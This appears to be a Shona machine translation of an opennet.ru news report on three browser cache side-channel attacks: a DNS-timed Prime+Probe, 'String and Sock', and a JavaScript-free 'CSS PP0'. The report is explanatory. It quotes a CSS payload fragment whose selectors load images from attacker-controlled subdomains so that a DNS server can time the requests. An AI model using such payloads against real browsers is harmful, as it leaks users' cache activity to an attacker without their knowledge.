Chikwata chevaongorori kubva kumayunivhesiti akati wandei eAmerica, Israel neAustralia vakagadzira kurwisa katatu kunomhanya pamabhurawuza kuti vatore ruzivo nezve zviri mukati me processor cache. Imwe nzira inoshanda mumabhurawuza asina JavaScript, uye dzimwe mbiri dzinopfuura dziripo nzira dzedziviriro kubva kudivi-chiteshi kurwisa, kusanganisira iyo inoshandiswa muTor browser uye DeterFox. Iyo kodhi yekuratidzira kurwiswa, pamwe neiyo sevha zvikamu zvinodiwa pakurwiswa, zvinoburitswa paGitHub.
Kuongorora zviri mukati mecache, kurwiswa kwese kunoshandisa iyo Prime + Probe nzira, iyo inosanganisira kuzadza cache neyakajairwa seti yehunhu uye kuona shanduko nekuyera nguva yekuwana kwavari kana uchiizadza zvakare. Kupfuura nzira dzekuchengetedza dziripo mumabhurawuza dzinokanganisa kuyerwa kwenguva, mune mbiri sarudzo, kukwidzwa kunoitwa kuDNS kana WebSocket server inodzorwa neanorwisa, inochengeta irogi yenguva yezvikumbiro zvakagamuchirwa. Mune imwe embodiment, yakatarwa DNS yekupindura nguva inoshandiswa sereferensi yenguva.
Zviyero zvakaitwa nekunze kweDNS kana maSeva eWebSocket, uchishandisa dhizaini yakavakirwa pakudzidza kwemuchina, zvaive zvakakwana kufanotaura hunhu nekurongeka kwekusvika 98% mune yakanyanya kunaka mamiriro (avhareji 80-90%). Nzira dzekurwisa dzakaedzwa pamapuratifomu akasiyana siyana (Intel, AMD Ryzen, Apple M1, Samsung Exynos) uye dzakaratidza kuve dzepasirese.

Musiyano wekutanga weDNS Mujaho wekurwiswa unoshandisa kirasi yekushandisa yePrime + Probe nzira uchishandisa JavaScript arrays. Misiyano inowira pasi pakushandiswa kwekunze kweDNS-based timer uye onerror handler, iyo inotangwa kana kuedza kunoitwa kutakura chifananidzo kubva kune isipo domain. Yekunze timer inobvumira kurwiswa kwePrime + Probe pamabhurawuza anodzika kana kudzima zvachose kupinda kune JavaScript nguva.
Kune sevha yeDNS iri pane imwecheteyo Ethernet network, iko kurongeka kweiyo timer kunofungidzirwa kunge ingangoita 2 ms, iyo inokwana kuita kurwisa-chiteshi kurwisa (kufananidza, iko kurongeka kweiyo yakajairwa JavaScript timer muTor Browser ndiyo. yakaderedzwa kusvika ku100 ms). Pakurwiswa, kutonga pamusoro peDNS server hakudiwi, sezvo nguva yekuuraya yekushanda yakasarudzwa kuitira kuti nguva yekupindura kubva kuDNS ishande sechiratidzo chekupedzwa kwekutanga cheki (zvichienderana nekuti iyo onerror handler yakakonzerwa. kare kana kuti gare gare, mhedziso inotorwa pamusoro pekumhanya kwecheki kushanda ne cache) .
Nzira yechipiri yekurwiswa, "String and Sock," ine chinangwa chekupfuura matanho ekuchengetedza anoganhurira kushandiswa kwezvikamu zvakaderera muJavaScript. Panzvimbo pezvikamu, "String and Sock" inoshandisa mashandiro patambo dzakakura kwazvo, saizi yadzo inosarudzwa kuitira kuti shanduko ifukidze LLC yese (Last Level Cache). Zvadaro, uchishandisa basa re indexOf() , tambo inotsvakwa substring diki iyo pakutanga isipo patambo yekutanga, zvichireva kuti mashandiro ekutsvaga anonyora tambo yese. Sezvo saizi yetambo ichienderana nehukuru hwe LLC cache, scanning inobvumira mashandiro ekutarisa cache pasina kushandisa ma arrays. Kuti uedze latency, DNS inotsiviwa nekufona kune WebSocket server inodzorwa nemurwisi. Zvikumbiro zvinotumirwa usati watanga uye wapedza mashandiro ekutsvaga tambo, zvichibva pane izvo server Kunonoka kunoshandiswa kuongorora zviri mu cache kunoverengwa.
Nzira yechitatu yekurwiswa kwe "CSS PP0" inoitiswa kuburikidza neHTML neCSS uye inogona kushanda mumabrowser ane JavaScript yakaremara. Nzira iyi yakafanana ne "String and Sock" asi haina kusungirirwa kuJavaScript. Kurwiswa uku kunogadzira seti yevasarudzo veCSS vanoita search by mask. Tambo huru yekutanga inozadza cache inotsanangurwa nekugadzira div tag ine zita rekirasi rakakura kwazvo. Mukati, seti yemamwe ma div ane maID awo inoiswa. Kune yega yega yeaya ma div ane nested, maitiro ayo anotsanangurwa nesarudzo inotsvaga substring. Painoburitsa peji, browser inotanga yaedza kugadzirisa ma div emukati, izvo zvinotungamira kukutsvaga mu string hombe. Kutsvaga kunoitwa ne mask iri pachena kuti haisipo uye kunotungamira kukudzokorora kwe string yese, mushure mezvo mamiriro ekuti "kwete" anotangwa uye kuyedza kunoitwa kurodha mufananidzo wekumashure unoratidza random domains: #pp:not([class*=’xjtoxg’]) #s0 {background-image: url(«https://qdlvibmr.helldomain.oy.ne.ro»);} #pp:not([class*=’gzstxf’]) #s1 {background-image: url(«https://licfsdju.helldomain.oy.ne.ro»);} … X X …
Subdomains inoshandirwa neanorwisa DNS server, iyo inogona kuyera kunonoka mukugamuchira zvikumbiro. Iyo DNS server inoburitsa NXDOMAIN kune zvese zvikumbiro uye inochengeta irogi yenguva chaiyo yekukumbira. Nekuda kwekugadzirisa seti ye divs, anorwisa DNS server inogamuchira akateedzana zvikumbiro, kunonoka pakati kunoenderana nemhedzisiro yekutarisa zvirimo mucache.

Source: opennet.ru
